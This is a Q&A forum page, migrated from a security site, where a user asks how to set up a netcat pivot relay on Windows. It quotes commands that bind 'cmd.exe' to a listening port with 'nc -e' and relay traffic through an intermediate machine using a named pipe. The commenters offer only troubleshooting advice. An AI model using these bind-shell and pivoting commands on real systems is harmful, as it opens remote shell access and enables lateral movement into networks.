Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I'm trying to setup a pivoting relay with netcat on Windows, replicating a scenario easily possible by using pipes in Linux.

Assume machine A can route to machine B and machine B can route to machine C. If machine A needs to route to machine C, we can setup a relay on machine B which can pivot data back and forth for us using command redirectors and spl filetype pipe.


  • machine C has nc -nlvp 3306 -e cmd.exe
  • machine A has nc -nlvp 80

IF machine B was Linux we could have done

mkfifo pipe
nc -nv 80 0<pipe | nc -nv 3306 1>pipe

so on machine B if we do

nc -nv 80 0<&4 | nc -nv 3306 1>&4

Per this site, I should be able to achieve what I can with Linux, but unfortunately it is not working.

share|improve this question

migrated from Apr 11 '12 at 14:51

This question came from our site for information security professionals.

That's really a networking/OS question, not a security one - better to ask on SuperUser? – Biglig Jan 5 '12 at 16:24
What is not working exactly? I might be nit-picking, but I assume C can route back to B and A, too? Have you tried running tcpdump or wireshark on B to see where the packets stop? – schroeder Apr 10 '12 at 21:05
@Auditor - will migrate this through to SuperUser - they may be able to help you better than we can, so follow the new link and you can easily set up an account over there. – Rory Alsop Apr 11 '12 at 14:51

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.